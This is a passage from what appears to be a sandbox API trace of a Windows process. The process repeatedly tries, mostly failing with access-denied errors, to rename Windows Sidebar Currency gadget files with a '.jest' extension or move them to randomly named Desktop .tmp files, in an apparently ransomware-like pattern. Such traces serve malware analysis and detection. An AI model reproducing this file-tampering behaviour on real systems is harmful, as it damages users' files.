0x11520e9 [0126.446] IsWindowVisible (hWnd=0x30268) returned 0 [0126.446] Sleep (dwMilliseconds=0x0) [0126.447] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.447] GetFullPathNameA (in: lpFileName="Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", lpFilePart=0x18e708*="Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp") returned 0x8f [0126.447] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4f [0126.447] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tx0ex-xzkky23-czy swlo4tpsgvqsdq5itrmyb3pznqt6x4egc6iuh3f-m_yw7owpxytvdoq-hvfmsv hpu2x_ s0ktjcit4sen-.tmp")) returned 0 [0126.448] GetLastError () returned 0x5 [0126.448] GetLastError () returned 0x5 [0126.448] SetLastError (dwErrCode=0x5) [0126.448] GetLastError () returned 0x5 [0126.448] SetLastError (dwErrCode=0x5) [0126.448] GetLastError () returned 0x5 [0126.448] SetLastError (dwErrCode=0x5) [0126.448] GetFullPathNameA (in: lpFileName="Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", lpFilePart=0x18e6e4*="Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp") returned 0x8f [0126.448] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tx0EX-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x45307854, cFileName="X-XZkKy23-czY SwLO4TpsGvqsDq5ITRmYb3pznqT6X4eGC6IUh3F-m_yW7OwpXytVdOQ-hVFMSv hPu2X_ s0KtJCit4sEN-.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.448] GetLastError () returned 0x2 [0126.448] GetLastError () returned 0x2 [0126.448] SetLastError (dwErrCode=0x2) [0126.448] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Õ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.449] GetLastError () returned 0x0 [0126.449] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.449] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.449] GetTickCount () returned 0x11520f9 [0126.449] GetTickCount () returned 0x11520f9 [0126.449] GetTickCount () returned 0x11520f9 [0126.449] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.449] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.449] GetTickCount () returned 0x11520f9 [0126.449] IsWindowVisible (hWnd=0x30268) returned 0 [0126.449] Sleep (dwMilliseconds=0x0) [0126.449] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.jest" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml.jest")) returned 0 [0126.449] GetLastError () returned 0x5 [0126.450] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸l") returned 0x49 [0126.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0126.450] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸l") returned 0x49 [0126.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=74, lpWideCharStr=0x1445ffc, cchWideChar=147 | out: lpWideCharStr="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml") returned 74 [0126.450] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸⹬敪瑳") returned 0x4e [0126.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0126.450] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单杜摡敧⹴浸⹬敪瑳") returned 0x4e [0126.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=79, lpWideCharStr=0x144bb04, cchWideChar=157 | out: lpWideCharStr="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.jest") returned 79 [0126.450] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e6d8*="gadget.xml") returned 0x49 [0126.450] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x57, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 0x143ce48 [0126.450] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.450] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.451] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.451] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x146)) [0126.451] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x146)) [0126.451] GetUserDefaultLCID () returned 0x409 [0126.451] VarBstrFromR4 (in: fltIn=0x4794452a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.33") returned 0x0 [0126.451] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.451] GetTickCount () returned 0x11520f9 [0126.452] GetTickCount () returned 0x11520f9 [0126.452] GetTickCount () returned 0x11520f9 [0126.452] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.452] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.452] GetTickCount () returned 0x11520f9 [0126.452] IsWindowVisible (hWnd=0x30268) returned 0 [0126.452] Sleep (dwMilliseconds=0x0) [0126.453] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.453] GetFullPathNameA (in: lpFileName="HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", lpFilePart=0x18e708*="HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp") returned 0x8f [0126.453] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x49 [0126.453] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hcyxknfracbmuneyxzvxjqnqsqubgo9uw2oyrh3q9votncy6qqdqsfqlwencxwrt3ukl-kpsqfnux25oggylljbu6_sxkxqsyrcss.tmp")) returned 0 [0126.453] GetLastError () returned 0x5 [0126.453] GetLastError () returned 0x5 [0126.453] SetLastError (dwErrCode=0x5) [0126.453] GetLastError () returned 0x5 [0126.453] SetLastError (dwErrCode=0x5) [0126.453] GetLastError () returned 0x5 [0126.453] SetLastError (dwErrCode=0x5) [0126.454] GetFullPathNameA (in: lpFileName="HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", lpFilePart=0x18e6e4*="HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp") returned 0x8f [0126.454] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HCYxKNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78594348, cFileName="KNFRACbmuNeyXZVxJqnqSqUBgO9uw2OYRh3Q9vOtncY6QQdQsfQlweNcXWrT3UKL-kpsqfNux25oggyllJBu6_sxkxqSyrCSS.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.454] GetLastError () returned 0x2 [0126.454] GetLastError () returned 0x2 [0126.454] SetLastError (dwErrCode=0x2) [0126.454] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ŏ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.454] GetLastError () returned 0x0 [0126.454] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.454] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.454] GetTickCount () returned 0x11520f9 [0126.454] GetTickCount () returned 0x11520f9 [0126.455] GetTickCount () returned 0x11520f9 [0126.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.455] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.455] GetTickCount () returned 0x11520f9 [0126.455] IsWindowVisible (hWnd=0x30268) returned 0 [0126.455] Sleep (dwMilliseconds=0x0) [0126.455] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css.jest")) returned 0 [0126.455] GetLastError () returned 0x5 [0126.455] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣s") returned 0x55 [0126.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469134, cbMultiByte=85, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0126.455] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣s") returned 0x55 [0126.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469134, cbMultiByte=86, lpWideCharStr=0x14c2ea4, cchWideChar=171 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css") returned 86 [0126.455] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣⹳敪瑳") returned 0x5a [0126.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0126.455] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜牵敲据⹹慇杤瑥敜⵮单捜獳捜牵敲据⹹獣⹳敪瑳") returned 0x5a [0126.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=91, lpWideCharStr=0x14cf144, cchWideChar=181 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css.jest") returned 91 [0126.455] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFilePart=0x18e6d8*="currency.css") returned 0x55 [0126.455] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c2e, dwReserved0=0x57, dwReserved1=0x0, cFileName="currency.css", cAlternateFileName="")) returned 0x143ce48 [0126.456] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.457] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.457] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x146)) [0126.457] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x146)) [0126.457] GetUserDefaultLCID () returned 0x409 [0126.457] VarBstrFromR4 (in: fltIn=0x4794452a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.33") returned 0x0 [0126.458] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.458] GetTickCount () returned 0x11520f9 [0126.458] GetTickCount () returned 0x11520f9 [0126.458] GetTickCount () returned 0x11520f9 [0126.458] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.458] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.458] GetTickCount () returned 0x11520f9 [0126.458] IsWindowVisible (hWnd=0x30268) returned 0 [0126.458] Sleep (dwMilliseconds=0x0) [0126.458] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.458] GetFullPathNameA (in: lpFileName="8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", lpFilePart=0x18e708*="8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp") returned 0x8c [0126.458] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css", lpFilePart=0x18e708*="currency.css") returned 0x55 [0126.459] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8bkiwboqbvtzlvkglb7soxazyb76ee946x49wvv32oq3g8ucvzwa7odxo5xgb-kpfn 2pjk 0h1zrwyzdrwh82rxlkccujzqg3.tmp")) returned 0 [0126.459] GetLastError () returned 0x5 [0126.459] GetLastError () returned 0x5 [0126.459] SetLastError (dwErrCode=0x5) [0126.459] GetLastError () returned 0x5 [0126.459] SetLastError (dwErrCode=0x5) [0126.459] GetLastError () returned 0x5 [0126.459] SetLastError (dwErrCode=0x5) [0126.459] GetFullPathNameA (in: lpFileName="8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", lpFilePart=0x18e6e4*="8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp") returned 0x8c [0126.459] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8BKiWbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x694b4238, cFileName="WbOQbvTzLvkGlb7Soxazyb76EE946x49WVv32oQ3g8UCVzWa7oDXO5xgB-kPfN 2PJK 0H1ZrwyzdRWh82rXLkccujzQg3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.459] GetLastError () returned 0x2 [0126.459] GetLastError () returned 0x2 [0126.459] SetLastError (dwErrCode=0x2) [0126.460] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ö", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.461] GetLastError () returned 0x0 [0126.461] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.462] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.462] GetTickCount () returned 0x11520f9 [0126.462] GetTickCount () returned 0x11520f9 [0126.462] GetTickCount () returned 0x11520f9 [0126.462] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.462] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.462] GetTickCount () returned 0x11520f9 [0126.462] IsWindowVisible (hWnd=0x30268) returned 0 [0126.462] Sleep (dwMilliseconds=0x0) [0126.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css\\currency.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css\\currency.css"), 